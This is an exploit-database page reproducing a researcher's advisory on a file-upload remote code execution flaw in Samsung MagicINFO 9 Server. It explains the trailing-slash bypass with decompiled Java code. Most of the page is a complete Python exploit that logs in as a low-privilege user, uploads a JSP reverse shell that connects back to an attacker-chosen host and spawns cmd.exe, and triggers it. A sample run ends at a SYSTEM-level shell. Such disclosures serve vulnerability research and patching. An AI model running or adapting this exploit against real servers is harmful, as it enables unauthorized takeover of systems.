Lucene search
K

SRC-2025-0005 : Samsung MagicINFO 9 Server ContentSaveServiceImpl getMediaSourceFromNewFile File Upload Remote Code Execution Vulnerability

🗓️ 03 Sep 2025 00:00:00Reported by Steven Seeley of Source InciteType 
srcincite
 srcincite
🔗 srcincite.io👁 100 Views

Remote code execution in Samsung MagicINFO 9 Server via file upload in ContentSaveServiceImpl; authentication required.

Code
#!/usr/bin/env python3
"""
Samsung MagicINFO 9 Server ContentSaveServiceImpl getMediaSourceFromNewFile File Upload Remote Code Execution Vulnerability
Download: https://www.magicinfoservices.com/magicinfo-software?submissionGuid=4163dba5-9096-43b4-9ca0-27696e8b70b8
File: MagicInfo 9 Server 21.1080.0 Setup.zip
Release date: 5/8/2025
CVSS: 8.8 (/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
SHA1: 9744711fe76e7531f128835bf83c9ae001069115
Install guide: https://docs.samsungvx.com/docs/pages/viewpage.action?pageId=60034270
Found by: Steven Seeley of Source Incite

# Summary

A low privileged user (any user) can upload a backdoor and gain remote code execution against the system. Note that the authentication mechanism can be bypassed by chaining other vulnerabilities

# Analysis

The problem arises because we can bypass all of the protections inside of the `com.samsung.magicinfo.webauthor2.service.ContentSaveServiceImpl` class

```java
/*     */   public MediaSource getMediaSourceFromNewFile(NewFileInfo fileItemsDescriptor) throws IOException {
/* 130 */     String errorMessage = null;
/* 131 */     errorMessage = this.multipartFilenameValidator.validateNameForContents(fileItemsDescriptor.getMediaSource().getFileName()); // 1
/* 132 */     if (!Strings.isNullOrEmpty(errorMessage))
/*     */     {
/* 134 */       throw new FileItemValidationException(500, errorMessage);
/*     */     }
/*     */     
/* 137 */     String message = this.multipartFilenameValidator.validateName(fileItemsDescriptor.getMediaSource().getFileName()); // 2
/*     */     
/* 139 */     if (!Strings.isNullOrEmpty(message)) {
/* 140 */       throw new FileItemValidationException(500, message);
/*     */     }
/*     */     
/* 143 */     Path filePath = Paths.get(this.servletContext.getRealPath("insertContents"), new String[] { fileItemsDescriptor.getMediaSource().getFileName() }); // 3
/*     */ 
/*     */ 
/*     */     
/* 147 */     if (!CleanPreviewFolder.isPathValid(String.valueOf(filePath))) { // 3
/* 148 */       throw new FileItemValidationException("InvalidFilePathError");
/*     */     }
/*     */     
/* 151 */     if (Files.exists(filePath, new java.nio.file.LinkOption[0])) {
/* 152 */       FileUtils.deleteQuietly(filePath.toFile());
/*     */     }
/*     */     try {
/* 155 */       FileUtils.writeStringToFile(filePath.toFile(), fileItemsDescriptor.getFileData(), StandardCharsets.UTF_8);
/* 156 */     } catch (IOException ex) {
/* 157 */       Logger.getLogger(ContentSaveServiceImpl.class.getName()).log(Level.SEVERE, null, ex);
/*     */     } 
/* 159 */     MediaSource mediaSource = this.uploadHelperService.getDetailsFromFile(filePath);
/* 160 */     mediaSource.setIsNew(true);
/* 161 */     mediaSource.setData("insertContents/" + fileItemsDescriptor.getMediaSource().getFileName());
/*     */     
/* 163 */     return mediaSource;
/*     */   }
```

```java
/*     */   public String validateNameForContents(String name) {
/* 154 */     String issue = null;
/* 155 */     if (this.fileNameValidator.filenameContainsSpecialCharacters(name)) {
/* 156 */       issue = "SpecialCharFileName";
/*     */     }
/* 158 */     if (this.fileNameValidator.filenameHasExecutableType(name)) {
/* 159 */       issue = "InvalidFileType [" + FilenameUtils.getExtension(name) + "]";
/*     */     }
/* 161 */     return issue;
/*     */   }
```

```java
/*    */   public boolean filenameContainsSpecialCharacters(String filename) {
/* 25 */     if (!Pattern.matches("^[^\\\\{}&^%#$,\"|:'']+$", filename))
/* 26 */       return true; 
/* 27 */     if (filename.contains("../"))
/* 28 */       return true; 
/* 29 */     return false;
/*    */   }
```

```
/* 20 */   private static final ListEXECUTABLE_EXTENSIONS = Arrays.asList(new String[] { "exe", "bat", "sh", "jsp", "jspx", "asp", "php", "mht", "ps1", "vbs", "dll", "php5", "pht", "phtml", "shtml", "asa", "asax", "swf", "xap", "cmd", "bin", "com", "cpl", "gadget", "inf1", "ins", "inx", "isu", "job", "jse", "lnk", "msc", "msi", "msp", "mst", "paf", "pif", "reg", "rgs", "scr", "sct", "shb", "shs", "u3p", "vb", "vbe", "vbscript", "ws", "wsf", "wsh" });
/*    */   
/*    */   public boolean filenameHasExecutableType(String filename) {
/* 43 */     String extension = FilenameUtils.getExtension(filename).toLowerCase();
/* 44 */     return EXECUTABLE_EXTENSIONS.contains(extension);
/*    */   }
```

At [1], [2] there is heavy filtering occurring, but the Samsung developers forgot about one little edge case. If the attacker adds a forward slash on the end of the filename, then we bypass all of the checks, especially the `filenameHasExecutableType` method! 
At [3] the code calls `Paths.get` with the attacker controlled filename ending in a forward slash, this api returns the constructed path without the ending slash! HooHAR!

# Proof of Concept

I'm just to lazy these days to chain with the auth bypasses:

```
researcher@universe:~/0d$ ./poc.py
(+) usage: ./poc.py(+) eg: ./poc.py 192.168.18.136 lowpriv:mypassword1 192.168.18.137
researcher@universe:~/0d$ ./poc.py 192.168.18.136 lowpriv:mypassword1 172.20.210.49
(+) grabbed the token: JDBiYzQ0YmZjZGM3MjkzNDEkdA==
(+) shell at: YWnfIcwF.jsp
(+) starting handler on port 1337
(+) going for it...!
(+) connection from 172.20.208.1
(+) pop thy shell!
Microsoft Windows [Version 10.0.17763.7558]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\MagicInfo Premium\tomcat\bin>whoami
whoami
nt authority\system

C:\MagicInfo Premium\tomcat\bin>
```
"""
import sys
import urllib3
import socket
import random
import string
import requests
from threading import Thread
from telnetlib import Telnet
from colorama import Fore, Style
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def generate_random_string(length):
    characters = string.ascii_letters + string.digits
    return ''.join(random.choice(characters) for _ in range(length))

# only need a low priv user here
def token_grab(t, usr, pwd):
    uri = f"https://{t}:7002/MagicInfoWebAuthorClient/main"
    p = {
        "username": usr,
        "password": pwd,
    }
    r = requests.post(uri, params=p, headers={"accept":"application/json"}, verify=False)
    t = r.json()['token']
    assert t, "(-) unable to login and grab the token!"
    return t

def get_jsp(ls, lp):
    jsp = f"""<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
  class StreamConnector extends Thread
  {{
    InputStream sv;
    OutputStream tp;
    StreamConnector( InputStream sv, OutputStream tp )
    {{
      this.sv = sv;
      this.tp = tp;
    }}
    public void run()
    {{
      BufferedReader za  = null;
      BufferedWriter hjr = null;
      try
      {{
        za  = new BufferedReader( new InputStreamReader( this.sv ) );
        hjr = new BufferedWriter( new OutputStreamWriter( this.tp ) );
        char buffer[] = new char[8192];
        int length;
        while( ( length = za.read( buffer, 0, buffer.length ) ) > 0 )
        {{
          hjr.write( buffer, 0, length );
          hjr.flush();
        }}
      }} catch( Exception e ){{}}
      try
      {{
        if( za != null )
          za.close();
        if( hjr != null )
          hjr.close();
      }} catch( Exception e ){{}}
    }}
  }}
  try
  {{
    String ShellPath = new String("cmd.exe");
    Socket socket = new Socket("{ls}", {lp});
    Process process = Runtime.getRuntime().exec( ShellPath );
    ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
    ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
  }} catch( Exception e ) {{}}
%>"""
    return jsp

def ZDI_25_655_bypass(t, tkn, jspcode):
    s = generate_random_string(8)
    uri = f"https://{t}:7002/MagicInfoWebAuthorClient/save/newFile"
    j = {
        "newFileData": jspcode,
        "newMediaSource": {
            "data": "1337",
            "fileId": 1337,
            "fileName": f"{s}.jsp/"
        }
    }
    r = requests.post(uri, json=j, headers={"accept":"application/json", "cookie":f";test={tkn}"}, verify=False)
    assert r.json(), "(-) upload failed!"
    return s

def handler(lp):
    print(f"(+) starting handler on port {lp}")
    t = Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", lp))
    s.listen(1)
    conn, addr = s.accept()
    print(f"(+) connection from {addr[0]}")
    t.sock = conn
    print(f"(+) {Fore.RED + Style.BRIGHT}pop thy shell!{Style.RESET_ALL}")
    t.interact()

def main():
    if len(sys.argv) != 4:
        print("(+) usage: %s" % sys.argv[0])
        print("(+) eg: %s 192.168.18.136 lowpriv:mypassword1 192.168.18.137" % sys.argv[0])
        sys.exit(1)
    t = sys.argv[1]
    c = sys.argv[2]
    assert ":" in sys.argv[2], "(-) user credentials are not in the proper format"
    usr, pwd = sys.argv[2].split(":")
    h = sys.argv[3]
    p = 1337
    if ":" in sys.argv[3]:
        p = int(sys.argv[3].split(":")[1])
        h = sys.argv[3].split(":")[0]
    shellcode = get_jsp(h, p)
    tkn = token_grab(t, usr, pwd)
    print(f"(+) grabbed the token: {tkn}")
    s = ZDI_25_655_bypass(t, tkn, shellcode)
    print(f"(+) shell at: {s}.jsp")
    handlerthr2 = Thread(target=handler, args=[p])
    handlerthr2.start()
    print("(+) going for it...!")
    requests.get(f"https://{t}:7002/MagicInfoWebAuthorClient/insertContents/{s}.jsp", verify=False)

if __name__ == "__main__":
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation